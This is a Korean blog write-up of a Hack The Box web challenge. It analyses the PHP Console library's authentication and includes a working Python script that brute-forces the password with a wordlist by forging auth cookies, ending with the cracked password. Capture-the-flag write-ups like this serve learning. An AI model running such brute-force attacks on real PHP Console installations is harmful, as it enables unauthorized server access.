[HTB] Web Challenge - Console

조병근·2020년 8월 23일
0

HTB

목록 보기
2/7

문제 드가보면

PHP Version 7.2.28
Your IP is 10.255.0.2

Make sure to load php-console in order to be prompted for a password

라고 한다. PHP Console이라고 검색해보니까 구글 확장 프로그램이 있어서 설치했다. 설치하면 인증을 위해 비밀번호를 입력하라고 한다. github에 코드가 올라와있다.

src/Auth.php :

const PASSWORD_HASH_SALT = 'NeverChangeIt:)';
public function __construct($password, $publicKeyByIp = true) {
		$this->publicKeyByIp = $publicKeyByIp;
		$this->passwordHash = $this->getPasswordHash($password);
	}
	protected final function getPasswordHash($password) {
		return $this->hash($password . self::PASSWORD_HASH_SALT);
	}
	public final function isValidAuth(ClientAuth $clientAuth) {
		return $clientAuth->publicKey === $this->getPublicKey() && $clientAuth->token === $this->getToken();
	}
protected function getClientUid() {
		$clientUid = '';
		if($this->publicKeyByIp) {
			if(isset($_SERVER['REMOTE_ADDR'])) {
				$clientUid .= $_SERVER['REMOTE_ADDR'];
			}
			if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
				$clientUid .= $_SERVER['HTTP_X_FORWARDED_FOR'];
			}
		}
		return $clientUid;
	}

	/**
	 * Get authorization session public key for current client
	 * @return string
	 */
	protected function getPublicKey() {
		return $this->hash($this->getClientUid() . $this->passwordHash);
	}

	/**
	 * Get string signature for current password & public key
	 * @param $string
	 * @return string
	 */
	public final function getSignature($string) {
		return $this->hash($this->passwordHash . $this->getPublicKey() . $string);
	}

	/**
	 * Get expected valid client authorization token
	 * @return string
	 */
	private final function getToken() {
		return $this->hash($this->passwordHash . $this->getPublicKey());
	}

PHP Console 확장 프로그램에 비밀번호를 입력해서 보내면 Response 헤더에 다음과 같은 내용이 추가되어 돌아온다:

PHP-Console: {"protocol":5,"auth":{"publicKey":"d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e","isSuccess":false},"docRoot":null,"sourcesBasePath":null,"getBackData":null,"isLocal":null,"isSslOnlyMode":false,"isEvalEnabled":null,"messages":[]}

passwordHashpasswordPASSWORD_HASH_SALT값을 concat한 값을 SHA256 hash 해서 얻는다.

내 IP를 이용해 $clientUID를 얻고, 그 값과 passwordHash를 concat한 값을 SHA256 hash를 해서 public key를 얻는다.

passwordHash와 위에서 얻은 public key를 concat한 값을 SHA256 hash해서 token을 만든다.

PHP Console 확장 프로그램에 비밀번호를 입력해서 보내면 요청헤더에는 다음과 같은 게 포함된다:

php-console-client=eyJwaHAtY29uc29sZS1jbGllbnQiOjUsImF1dGgiOnsicHVibGljS2V5IjoiZDFkNThiMmY3MzJmZDU0NmQ5NTA3ZGEyNzVhNzFiZGRjMGMyMzAwYTIxNGFmM2YzZjNhNWY1ZjI0OWZlMjc1ZSIsInRva2VuIjoiNzJhYmIzZmE5MmE2OGFhZDExZGM2M2JkMDkyMjg3NWI3NmZkMjM2NDI1OGE5YTgyNDZmNjYzNzE0YzBiOTI5NyJ9fQ==

bash 64 디코딩 :

{"php-console-client":5,"auth":{"publicKey":"d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e","token":"72abb3fa92a68aad11dc63bd0922875b76fd2364258a9a8246f663714c0b9297"}}

publicKey가 똑같은걸 알 수 있고, token을 보낸다. 올바른 token을 보내야 인증이 성공하는 것 같다.

위의 코드에서 tokenpasswordHashpublicKey를 합쳐 만든다:

SHA256(SHA256(password+"+")+publicKey)

password만 맞추면 되니까, brute force해 볼 수 있을 것 같다.

console.py

import requests
import hashlib
import base64
import json

url="http://docker.hackthebox.eu:30335"
publicKey="d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e"

f=open("/usr/share/wordlists/rockyou.txt","r")

while True:
    line=f.readline().strip("\n")
    password=line+"NeverChangeIt:)"
    passwordHash=hashlib.sha256(password.encode()).hexdigest()
    token=hashlib.sha256((passwordHash+publicKey).encode()).hexdigest()
    php_client={"php-console-client":5,"auth":{"publicKey":publicKey,"token":token}}
    php_client_encoded=base64.b64encode(json.dumps(php_client).encode()).decode()
    cookies={
            "php-console-server":"5",
            "php-console-client":php_client_encoded
            }
    req=requests.get(url,cookies=cookies)
    response=req.headers['PHP-Console']
    php_console=json.loads(response)
    result=php_console['auth']['isSuccess']
    print ("result: "+str(result))
    if result !=False:                                                  
        print(line)                                      
        break                                                                                                                                                  
print ("Crack Complete! Password is "+password.split("N")[0])      

처음에 cookies의 php-console-server에 값을 그냥 숫자형 5로 줬는데 에러가 났다.

self.non_word_re.search(cookie.value) and version > 0):

/usr/lib/python2.7/cookielib.py에서 에러가 난 부분이 여기다.

검색해보니 re.search()함수의 매개변수는 str이어야 한다. 한 수 배웠다..

...
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: False
result: True
poohbear
Crack Complete! Password is poohbear

password에 poohbear입력하면 로그인이 되고, console에 flag가 있다.

🏁 HTB{🤐}

profile
I'm always chobo

0개의 댓글

Powered by GraphCDN, the GraphQL CDN